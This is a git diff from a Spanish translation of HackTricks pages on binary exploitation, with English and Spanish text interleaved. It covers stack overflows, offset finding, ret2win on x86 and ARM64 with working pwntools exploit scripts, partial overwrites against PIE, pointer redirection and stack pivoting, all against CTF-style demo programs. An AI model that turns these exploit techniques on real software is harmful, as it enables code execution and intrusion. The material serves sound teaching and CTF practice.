A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan verificación de límites en la entrada.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de la cantidad asignada para ella**, por lo tanto, siendo capaz de sobrescribir otras partes de la pila.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
For example, the following functions could be vulnerable:
Por ejemplo, las siguientes funciones podrían ser vulnerables:
```c ```c
void vulnerable() { void vulnerable() {
char buffer[128]; char buffer[128];
printf("Enter some text: "); printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer); printf("You entered: %s\n", buffer);
} }
``` ```
### Encontrando los offsets de Stack Overflows
### Finding Stack Overflows offsets La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. Además, una vez que encuentres que hay una vulnerabilidad de Stack Overflow, necesitarás encontrar el offset hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele usar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud \_n**\_\*\* aparece exactamente una vez\*\* como una subsecuencia contigua.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. De esta manera, en lugar de necesitar averiguar manualmente qué offset se necesita para controlar el EIP, es posible usar como relleno una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
Es posible usar **pwntools** para esto:
```python ```python
from pwn import * from pwn import *
@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}") print(f"The offset is: {offset}")
``` ```
o **GEF**:
or **GEF**:
```bash ```bash
#Patterns #Patterns
pattern create 200 #Generate length 200 pattern pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp pattern search $rsp #Search the offset given the content of $rsp
``` ```
## Explotación de desbordamientos de pila
## Exploiting Stack Overflows Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás **sobrescribir** valores de variables locales dentro de la pila hasta alcanzar el **EBP/RBP y EIP/RIP guardados (o incluso más)**.\
La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, el **flujo de control se redirija a donde el usuario especificó** en este puntero.
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles).
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
### Ret2win ### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
{{#ref}} {{#ref}}
ret2win/ ret2win/
{{#endref}} {{#endref}}
### Stack Shellcode ### Shellcode en la pila
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
{{#ref}} {{#ref}}
stack-shellcode/ stack-shellcode/
{{#endref}} {{#endref}}
### ROP & Ret2... techniques ### Técnicas ROP y Ret2...
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ ../rop-return-oriented-programing/
{{#endref}} {{#endref}}
## Heap Overflows ## Desbordamientos de heap
An overflow is not always going to be in the stack, it could also be in the **heap** for example: Un desbordamiento no siempre va a estar en la pila, también podría estar en el **heap**, por ejemplo:
{{#ref}} {{#ref}}
../libc-heap/heap-overflow.md ../libc-heap/heap-overflow.md
{{#endref}} {{#endref}}
## Types of protections ## Tipos de protecciones
There are several protections trying to prevent the exploitation of vulnerabilities, check them in: Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
{{#ref}} {{#ref}}
../common-binary-protections-and-bypasses/ ../common-binary-protections-and-bypasses/

View File

@ -1,28 +1,28 @@
# Pointer Redirecting # Redirección de Punteros
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## String pointers ## Punteros de cadena
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. Si una llamada a función va a usar una dirección de una cadena que se encuentra en la pila, es posible abusar del desbordamiento de búfer para **sobrescribir esta dirección** y poner una **dirección a una cadena diferente** dentro del binario.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. Si, por ejemplo, una llamada a la función **`system`** va a **usar la dirección de una cadena para ejecutar un comando**, un atacante podría colocar la **dirección de una cadena diferente en la pila**, **`export PATH=.:$PATH`** y crear en el directorio actual un **script con el nombre de la primera letra de la nueva cadena** ya que esto será ejecutado por el binario.
You can find an **example** of this in: Puedes encontrar un **ejemplo** de esto en:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts` - 32bit, cambiar la dirección a la cadena de flags en la pila para que sea impresa por `puts`
## Function pointers ## Punteros de función
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). Lo mismo que el puntero de cadena pero aplicándose a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**).
You can find an example in: Puedes encontrar un ejemplo en:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## References ## Referencias
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
### C Example ### Ejemplo en C
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
Considera un programa simple en C con una vulnerabilidad y una función `win` que pretendemos llamar:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
void win() { void win() {
printf("Congratulations! You've called the win function.\n"); printf("Congratulations! You've called the win function.\n");
} }
void vulnerable_function() { void vulnerable_function() {
char buf[64]; char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitado, puedes usar el siguiente comando:
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
- `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos CTF).
- `-fno-stack-protector`: Desactiva las protecciones contra desbordamientos de pila.
- `-z execstack`: Permite la ejecución de código en la pila.
- `-no-pie`: Desactiva el ejecutable independiente de la posición para asegurar que la dirección de la función `win` no cambie.
- `-o vulnerable`: Nombra el archivo de salida `vulnerable`.
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). ### Python Exploit usando Pwntools
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
Para el exploit, utilizaremos **pwntools**, un potente marco CTF para escribir exploits. El script de exploit creará una carga útil para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función `win`.
```python ```python
from pwn import * from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdump** o cualquier otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podrías usar:
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
```sh ```sh
objdump -d vulnerable | grep win objdump -d vulnerable | grep win
``` ```
Este comando te mostrará el ensamblaje de la función `win`, incluyendo su dirección de inicio.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20; El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y se imprime el mensaje.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. ## Protecciones
## Protections - [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. ## Otros ejemplos y Referencias
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR - 32 bits, sin ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address - 64 bits con ASLR, con una filtración de la dirección binaria
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR - 64 bits, sin ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow - 32 bits, sin ASLR, desbordamiento pequeño doble, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function - 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function - 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. - El programa solo está validando el último byte de un número para verificar el tamaño de la entrada, por lo tanto, es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) - 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la función win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions - arm64, PIE, da una filtración PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function - ARM64, off-by-one para llamar a una función win
## ARM64 Example ## Ejemplo ARM64
{{#ref}} {{#ref}}
ret2win-arm64.md ret2win-arm64.md

View File

@ -2,92 +2,80 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in: Encuentra una introducción a arm64 en:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code&#x20; ## Código&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
void win() { void win() {
printf("Congratulations!\n"); printf("Congratulations!\n");
} }
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
Compilar sin pie y canario:
Compile without pie and canary:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
``` ```
## Encontrar el offset
## Finding the offset ### Opción de patrón
### Pattern option Este ejemplo fue creado usando [**GEF**](https://github.com/bata24/gef):
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
Inicia gdb con gef, crea un patrón y úsalo:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
pattern create 200 pattern create 200
run run
``` ```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patrón:
```bash ```bash
pattern search $x30 pattern search $x30
``` ```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).** **El desplazamiento es 72 (9x48).**
### Stack offset option ### Opción de desplazamiento de pila
Start by getting the stack address where the pc register is stored:
Comience obteniendo la dirección de la pila donde se almacena el registro pc:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
b *vulnerable_function + 0xc b *vulnerable_function + 0xc
run run
info frame info frame
``` ```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: Ahora establece un punto de interrupción después del `read()` y continúa hasta que se ejecute el `read()` y establece un patrón como 13371337:
``` ```
b *vulnerable_function+28 b *vulnerable_function+28
c c
``` ```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory: Encuentra dónde se almacena este patrón en la memoria:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** Luego: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regular ### Regular
Get the address of the **`win`** function: Obtén la dirección de la función **`win`**:
```bash ```bash
objdump -d ret2win | grep win objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64 ret2win: file format elf64-littleaarch64
00000000004006c4 <win>: 00000000004006c4 <win>:
``` ```
Explotar:
Exploit:
```python ```python
from pwn import * from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1 ### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. En realidad, esto va a ser más como un off-by-2 en el PC almacenado en la pila. En lugar de sobrescribir toda la dirección de retorno, vamos a sobrescribir **solo los últimos 2 bytes** con `0x06c4`.
```python ```python
from pwn import * from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un verdadero off-by-**one** en una vulnerabilidad ficticia.
## With PIE ## Con PIE
> [!TIP] > [!TIP]
> Compile the binary **without the `-no-pie` argument** > Compila el binario **sin el argumento `-no-pie`**
### Off-by-2 ### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible filtrar el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python ```python
from pwn import * from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,64 +2,61 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. Esta técnica explota la capacidad de manipular el **Puntero Base (EBP)** para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**.
As a reminder, **`leave`** basically means:
Como recordatorio, **`leave`** básicamente significa:
``` ```
mov ebp, esp mov ebp, esp
pop ebp pop ebp
ret ret
``` ```
Y como el **EBP está en la pila** antes del EIP, es posible controlarlo controlando la pila.
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret ### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
